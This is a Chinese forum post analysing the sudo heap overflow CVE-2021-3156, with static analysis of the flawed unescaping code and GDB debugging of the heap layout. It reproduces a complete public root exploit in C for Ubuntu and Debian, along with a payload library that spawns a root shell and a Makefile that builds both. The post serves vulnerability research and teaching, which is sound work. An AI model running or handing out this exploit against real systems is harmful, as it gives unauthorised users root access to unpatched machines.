吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 8478|回复: 26
收起左侧

[漏洞分析] CVE-2021-3156调试分享

  [复制链接]
初来匝道 发表于 2021-5-13 19:43
本帖最后由 初来匝道 于 2021-5-17 13:44 编辑

记一次不完美的调试,由于没有弄清楚发布的exp中的环境变量到底如何影响堆分配,导致自己编译的sudo无法成功获取root,但系统自带的没有问题,言归正传,具体内容如下:

1漏洞简介
CVE-2021-3156是linux系统中sudo命令的一个缓冲区溢出漏洞。
漏洞等级:高危。
漏洞风险:任何本地用户都可以利用该漏洞获取root权限,不需要知道用户密码,也无需身份认证。
2影响版本
sudo 1.8.2-1.8.31p2
sudo 1.9.0-1.9.5p1
3修复建议
升级到高于1.9.5版本
4漏洞POC
4.1验证环境
Linux版本:Linux kali 5.5.0-kali2-amd64
Sudo 版本:1.8.31p1
Glibc版本:2.31
源码:sudo-1.8.16p1.tar.gz
调试器:gdb-peda
4.2静态分析
本漏洞是由于在特定情况下,’\’的单个字符引起了堆溢出。
1.在sudo 执行时,会对命令行输入参数进行解析得到sudo_mode,解析函数parse_args位于parse_args.c中,对命令行参数进行拼接并用反斜杠转义所有特殊字符。
image.png

2.外部输出参数最终需要保存到内存中的堆或栈空间,程序在sudoers.c中的set_cmnd函数将命令行参数复制到堆内存,并去掉所有转义符’\’。
image.png
3.在for循环的拷贝中,user_args的空间大小为命令行参数的大小,当输入的参数中有一个’\’时,from++会跳过该参数,将下一个参数复制到to中,造车给’\’后面的参数被重复拷贝,导致堆溢出。
想要实现堆溢出,需要保证parse_args函数中转义字符部分代码不被执行,而set_cmnd执行。
其中/src/parse_argsc.文件中parse_args转义代码的条件如454行,/plugins/sudoers.c文件中set_cmnd反转义条件如757和796行。
454: if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
757: if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
796: if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {

当我们使用sudoedit来执行sudo时,MODE_EDIT被设置,在111行中我们可以看到支持flags为有效,sudoedit -s使得MODE_EIDT和MODE_SHELL被设置有效,MODE_RUN非有效。因此上述条件同时满足

image.png
4.3动态调试
使用工具GDB。

sudo gdb --args sudoedit -s '\'  `python3 -c "print('A'*8)"`

首先下断点:

b main
set follow-exec-mode new
set breakpoint pending on
b sudoers.c:793
b sudoers.c:796

运行程序r,然后c到目标断点处再单步执行。
image.png
可以看到user_args申请的size为11 = 2+9
image.png
命令行参数如上图
image.png
执行复制流程,可以看到在to所指向的堆中,跳过’\’后,首先复制第一个字符串结尾\00,from++后,然后意外复制了第二个8个A(0x41)之后又复制一个空格(0x20),最后又复制了8个A,导致溢出。
image.png

5漏洞EXP
5.1验证环境
使用实际可以攻击成功的版本进行分析。
Linux版本:Linux kali 5.5.0-kali2-amd64
Sudo 版本:1.8.31p1
Glibc版本:2.31
Sudo源码:sudo-1.8.31p1.tar.gz
调试器:pwngdb
5.2流程简介
在blasty的exp中,通过溢出改写service_user结构体实现。

typedef struct service_user
{
  /* And the link to the next entry.  */
  struct service_user *next;
  /* Action according to result.  */
  lookup_actions actions[5];
  /* Link to the underlying library object.  */
  service_library *library;
  /* Collection of known functions.  */
  void *known;
  /* Name of the service (`files', `dns', `nis', ...).  */
  char name[0];
} service_user;

service_user在nss_load_library(nss_load_library *ni)的调用中 ni->library->lib_handle = __libc_dlopen (shlib_name)载入指向的动态链接库。通过控制载入的库实现root权限的获取。

nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {
      /* This service has not yet been used.  Fetch the service
         library for it, creating a new one if need be.  If there
         is no service table from the file, this static variable
         holds the head of the service_library list made from the
         default configuration.  */
      static name_database default_table;
      ni->library = nss_new_service (service_table ?: &default_table,
                                     ni->name);
      if (ni->library == NULL)
        return -1;
    }

  if (ni->library->lib_handle == NULL)
    {
      /* Load the shared library.  */
      size_t shlen = (7 + strlen (ni->name) + 3
                      + strlen (__nss_shlib_revision) + 1);
      int saved_errno = errno;
      char shlib_name[shlen];

      /* Construct shared object name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
                                              "libnss_"),
                                    ni->name),
                          ".so"),
                __nss_shlib_revision);

      ni->library->lib_handle = __libc_dlopen (shlib_name);
      if (ni->library->lib_handle == NULL)
        {
          /* Failed to load the library.  */
          ni->library->lib_handle = (void *) -1l;
          __set_errno (saved_errno);
        }

从上面的代码可以看出,如果要加载伪造的库,需要满足两个条件:
1.ni->library == NULL
2.ni->library->lib_handle == NULL
解决:
1.ni->library == NULL时,ni->library = nss_new_service(service_table ?: &default_table,ni->name),这里如果我们将ni->library溢出为null,正好可以加载我们伪造的ni->name服务
2.ni->library->lib_handle == NULL,这里将ni->library溢出为Null即可。
想要实现上述两个目标,需要对service_user这个结构体进行精准溢出,正常情况下,系统会加载files、systemd两个服务,我们需要将第一个files精准溢出改写。
service_user结构体是通过nss服务调用进行初始化,通过读取/etc/nsswitch.conf文件对service_user完成初始化。
在4漏洞poc中我们发现了存在堆溢出的地方user_args,现在我们找到需要利用堆溢出改写的地方service_user,因此,接下来的工作就是构造堆布局。
堆布局需要解决的问题是将user_args的堆布局到靠近service_user之前,距离越近越好。
在nsswitch.c中我们看到service_user结构体链表由service_table存储,在如4漏洞poc中,仅设置argsv参数进行调试,当service_table完成初始化之后可以看到,entry/next/service在堆空间中依次排列,此时,无法在service_user前申请合适的堆空间进行溢出且不破坏service_table前面部分。
image.png
image.png

typedef struct service_user
{
  /* And the link to the next entry.  */
  struct service_user *next;
  /* Action according to result.  */
  lookup_actions actions[5];
  /* Link to the underlying library object.  */
  service_library *library;
  /* Collection of known functions.  */
  void *known;
  /* Name of the service (`files', `dns', `nis', ...).  */
  char name[0];
} service_user;

typedef struct name_database_entry
{
  /* And the link to the next entry.  */
  struct name_database_entry *next;
  /* List of service to be used.  */
  service_user *service;
  /* Name of the database.  */
  char name[0];
} name_database_entry;

image.png
image.png

通过源码分析,在完成整个service_table的过程中是按照行进行例如passwd为name_database_entry,files、systemd为service_user,按照顺序进行初始化并加入链表。
我们最终想要达到的目的是溢出改写一个service_user结构体的known(XXX)并由nss_load_library函数拼接为libnss_XXX.so.2并调用。我们的溢出手段是通过user_args,因此,在写user_args之前,需要正好有一个free态的bin,使得user_args刚好能够申请到,然后将随后的service_user溢出改写,并且不影响前面的name_database_entry,否则链表被破坏后,将会造成segment fault。
在main函数中,setlocale(LC_ALL, ""),会堆环境变量进行初始化,这里面会进行多次堆申请和释放操作;随后get_user_info(),会将service_table进行初始化操作;在policy_check()中会将argv复制到user_args的堆中。
因此主要机会在于setlocale的操作中,通过调试发现,可以通过设置LC_CTYPE,LC_MESSAGES,LC_TIME、LC_ALL等变量控制堆的分配,如果能够在service_table初始化之前,在堆的前面留下多个0x20大小的堆,并在较远处留下0x40大小的堆,就正好将name_database_entry以及service_user结构体分开较大距离,方便溢出,并在user_args分配前将靠近service_user前面的堆释放,留给user_args获取,这样就能完美构造堆溢出的条件。

/**
 ** CVE-2021-3156 PoC by blasty <peter@haxx.in>
 ** ===========================================
 **
 ** Exploit for that sudo heap overflow thing everyone is talking about.
 ** This one aims for singleshot. Does not fuck with your system files.
 ** No warranties.
 **
 ** Shout outs to:
 **   Qualys      - for pumping out the awesome bugs
 **   lockedbyte  - for coop hax. (shared tmux gdb sessions ftw)
 **   dsc         - for letting me rack up his electricity bill
 **   my wife     - for all the quality time we had to skip
 **
 **  Enjoy!
 **
 **   -- blasty // 20210130
 **/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <ctype.h>

// 512 environment variables should be enough for everyone
#define MAX_ENVP 512

typedef struct {
        char *target_name;
        char *sudoedit_path;
        uint32_t smash_len_a;
        uint32_t smash_len_b;
        uint32_t null_stomp_len;
        uint32_t lc_all_len; 
} target_t;

target_t targets[] = {
    {
        .target_name    = "Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31",
        .sudoedit_path  = "/usr/bin/sudoedit",
        .smash_len_a    = 56,
        .smash_len_b    = 54,
        .null_stomp_len = 63, 
        .lc_all_len     = 212
    },
    {
        .target_name    = "Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28",
        .sudoedit_path  = "/usr/bin/sudoedit",
        .smash_len_a    = 64,
        .smash_len_b    = 49,
        .null_stomp_len = 60, 
        .lc_all_len     = 214
    }
};

void usage(char *prog) {
    printf("  usage: %s <target>\n\n", prog);
    printf("  available targets:\n");
    printf("  ------------------------------------------------------------\n");
    for(int i = 0; i < sizeof(targets) / sizeof(target_t); i++) {
        printf("    %d) %s\n", i, targets[i].target_name);
    }
    printf("  ------------------------------------------------------------\n");
    printf("\n");
}

int main(int argc, char *argv[]) {
    printf("\n** CVE-2021-3156 PoC by blasty <peter@haxx.in>\n\n");

    if (argc != 2) {
        usage(argv[0]);
        return -1;
    }

    target_t *target = &targets[ atoi(argv[1]) ];

    printf("using target: '%s'\n", target->target_name);

    char *smash_a = calloc(target->smash_len_a + 2, 1);
    char *smash_b = calloc(target->smash_len_b + 2, 1);

    memset(smash_a, 'A', target->smash_len_a);
    memset(smash_b, 'B', target->smash_len_b);

    smash_a[target->smash_len_a] = '\\';
    smash_b[target->smash_len_b] = '\\';

    char *s_argv[]={
        "sudoedit", "-s", smash_a, "\\", smash_b, NULL
    };

    char *s_envp[MAX_ENVP];
    int envp_pos = 0;

    for(int i = 0; i < target->null_stomp_len; i++) {
        s_envp[envp_pos++] = "\\";
    }
    s_envp[envp_pos++] = "X/P0P_SH3LLZ_";

    char *lc_all = calloc(target->lc_all_len + 16, 1);
    strcpy(lc_all, "LC_ALL=C.UTF-8@");  //16
    memset(lc_all+15, 'C', target->lc_all_len);

    s_envp[envp_pos++] = lc_all;
    s_envp[envp_pos++] = NULL;

    printf("** pray for your rootshell.. **\n");

    execve(target->sudoedit_path, s_argv, s_envp);
    return 0;
}

使用上述exp进行调试,在get_user_info之后查看service_table链表,可以看到

Name_database_entry (0x20) service_user(0x40) service_user(0x40)
passwd 0x555555582430 0x555555582450 0x555555582490
grpup 0x5555555824d0 0x555555587080 0x5555555870c0

image.png

从上面可以看到,在service_table完成初始化之后第二行的entry和service_user之间距离很大,再检查当前空闲堆链表。

image.png
可以看到tcache中正好有一个0x80大小的空闲堆在service_user之前,后面要做的就是在给user_args分配空间时,恰好拿到它。
image.png
在最后,我们可以看到,溢出完成之后,我们成功分配到了0x555555587000的tcache bin,并且成功将0x5555555870b0处的files改写为了X/P0PSH3LLZ
继续调试,就能拿到root shell。
sudo_exploit.gif 5.3参数分析
上面为blasty的exp,实际执行参数如下:

smash_a = "A"*56 + '\\'    
smash_b = "B"*54 + '\\'
s_envp[0:63] = "\\"
s_envp[63] = "X/P0P_SH3LLZ_"
s_envp[64] = “LC_ALL=C.UTF-8@", 'C' <repeats 212 times>
s_envp[65] = NULL
/usr/bin/sudoedit -s smash_a '\\' smash_b NULL s_envp

smash_a和smash_b是用来控制user_args的堆大小,堆申请时chunck size大小为用户请求大小+16-8 align to 16,在/plugins/sudoers下的sudoers.c文件的set_cmnd中,关于user_args代码如下


 for (size = 0, av = NewArgv + 1; *av; av++)
                size += strlen(*av) + 1;
            if (size == 0 || (user_args = malloc(size)) == NULL) {
                sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
                debug_return_int(-1);
            }
            if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
                /*
                 * When running a command via a shell, the sudo front-end
                 * escapes potential meta chars.  We unescape non-spaces
                 * for sudoers matching and logging purposes.
                 */
                for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
                    while (*from) {
                        if (from[0] == '\\' && !isspace((unsigned char)from[1]))
                            from++;
                        *to++ = *from++;
                    }
                    *to++ = ' ';
                }
                *--to = '\0';
            } else {
                for (to = user_args, av = NewArgv + 1; *av; av++) {
                    n = strlcpy(to, *av, size - (to - user_args));
                    if (n >= size - (to - user_args)) {
                        sudo_warnx(U_("internal error, %s overflow"), __func__);
                        debug_return_int(-1);
                    }
                    to += n;
                    *to++ = ' ';
                }
                *--to = '\0';
            }

GDB调试到该处查看参数,如下:

pwndbg> p NewArgv[0]
$1 = 0x555555570a0e "sudoedit"
pwndbg> p NewArgv[1]
$2 = 0x7fffffffedfc 'A' <repeats 56 times>, "\\"
pwndbg> p NewArgv[2]
$3 = 0x7fffffffee36 "\\"
pwndbg> p NewArgv[3]
$4 = 0x7fffffffee38 'B' <repeats 54 times>, "\\"
pwndbg> p NewArgv[4]
$5 = 0x0

可以看到size=len(smash_a) + len(“\”) + len(smash_b) = 58 + 2 + 56 = 116,与调试结果一致

申请chunk size = size +16 - 8 align 16 = 128 = 0x80,因此恰好能申请到service_user前的0x80大小的tcache。
向user_args中复制参数时,由于上述代码对”\”处理的漏洞,导致以”\”结尾的数据并没有停止复制,而是复制进去一个00后继续复制后面的字符串,因此当smash_a复制完之后,当前复制并没有结束,而是继续将”\”复制了00到堆内存中,接着继续复制smash_b,由于envp在栈中紧随argv之后,因此继续复制envp,直到复制到以\0结尾的envp[63] = "/P0PSH3LLZ"才停止本次复制。然后开始下次循环复制。最终,smash_a复制1次,”\”复制2次,smash_b和envp[0:64]复制3次。
6参考资料
1.https://www.kalmarunionen.dk/writeups/sudo/
2.https://github.com/blasty/CVE-2021-3156
7附录
7.1堆简介
glibc堆内存管理将空闲的堆块用多个链表进行存储管理,有如下几种:
1.tcache:0x20 < size < 0x408,优先级最高,glibc版本≥2.27的新特性
2.fastbin:0x20 < size < 0x80,优先级次之
3.small bin
4.large bin
5.unsorted bin
系统回收的堆按大小优先加入tcache或fast bin,分配时按大小优先分配tcache或fast bin。
7.2X/P0PSH3LLZ

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static void __attribute__ ((constructor)) _init(void);

static void _init(void) {
        printf("[+] bl1ng bl1ng! We got it!\n");
        setuid(0); seteuid(0); setgid(0); setegid(0);
        static char *a_argv[] = { "sh", NULL };
        static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
        execv("/bin/sh", a_argv);
}

7.3Makefile

all:
        rm -rf libnss_X
        mkdir libnss_X
        gcc -o sudo-hax-me-a-sandwich hax.c
        gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
clean:
        rm -rf libnss_X sudo-hax-me-a-sandwich

7.4调试注意
对此类调试熟悉的同学都知道,调试堆和运行堆存在差异,因此在调试本漏洞时需要使用调试堆,可以借助如下脚本

import subprocess, signal
import os
cmd = ['./gdb_test']
p = subprocess.Popen(cmd)
p.send_signal(signal.SIGSTOP)
pid = os.popen("pidof gdb_test").read()
if pid:
   input(f'[+] GDB Attach {pid}')

运行gdb时可以使用如下命令:
gdb --pid pidof  gdb_test -x cmd_init.txt
cmd_init.txt文件中可以保存一些固定执行的命令,如加载directory、breakpoint等,本次调试使用命令如下:

set follow-fork-mode child
set detach-on-fork on
set breakpoint pending on
catch exec
c
c
c
directory /usr/src/glibc/glibc-2.31/
directory /usr/src/glibc/glibc-2.31/nss/
directory /usr/src/glibc/glibc-2.31/elf/
directory /usr/src/glibc/glibc-2.31/locale/
directory /home/kali/Desktop/myPoc/sudo/sudo-1.8.31p1/sudo-1.8.31p1
b sudo.c:154
b sudo.c:191
b sudoers.c:847
b sudoers.c:852
b sudoers.c:854    
b nsswitch.c:147
b nsswitch.c:498
b nsswitch.c:369
b __libc_dlopen_mode

set follow-fork-mode child可以使程序从gdb_test进程进入到子进程sudoedit。        set detach-on-fork on可以在进入子进程后父进程保持。
set breakpoint pending on可以将断点在代码动态加载后自动设置。
7.5sudo编译
编译采用如下命令:
进入到加压后的目录下,

mkdir build
../configure --enable-env-dbg
make -j
sudo make

免费评分

参与人数 20威望 +2 吾爱币 +118 热心值 +17 收起 理由
stellaW + 1 谢谢@Thanks!
TXKJ + 1 + 1 用心讨论,共获提升!
吾之名翎 + 1 谢谢@Thanks!
lynlon + 1 + 1 谢谢@Thanks!
w516258928 + 1 我很赞同!
槐南一梦 + 1 谢谢@Thanks!
努力加载中 + 1 + 1 热心回复!
azcolf + 1 + 1 热心回复!
fengbolee + 2 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
pojieit + 1 + 1 热心回复!
victos + 1 + 1 谢谢@Thanks!
budng + 1 谢谢@Thanks!
yixi + 1 + 1 谢谢@Thanks!
MFC + 1 + 1 谢谢@Thanks!
小脚jio + 1 + 1 &amp;lt;font style=&amp;quot;vertical-align: inherit;&amp;quot;&amp;gt;&amp;lt;font style=
poisonbcat + 1 + 1 谢谢@Thanks!
willJ + 2 + 100 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
杨辣子 + 1 + 1 很厉害~
舒默哦 + 1 + 1 谢谢@Thanks!
19183311119 + 1 + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

一路无忧 发表于 2021-5-13 20:36
果然机器语言好复杂 要好好学习
加奈绘 发表于 2021-5-13 22:31
Niay 发表于 2021-5-14 02:18
Eapoul 发表于 2021-5-15 00:37
好东西 学到了
luny 发表于 2021-5-15 21:29
分析的很细致,学习了
67haha 发表于 2021-5-25 16:54
好强啊,之前就因为等保扫出的漏洞有类似的
JuncoJet 发表于 2021-5-26 13:04
没有CentOS啊,事实证明RHEL比Debian稳,不服来辩
zz99211 发表于 2021-5-26 21:58
没有CentOS啊,事实证明RHEL比Debian稳,不服来辩
sototo 发表于 2021-5-30 00:33

分析的很细致,学习了!!
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-3-29 10:07

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表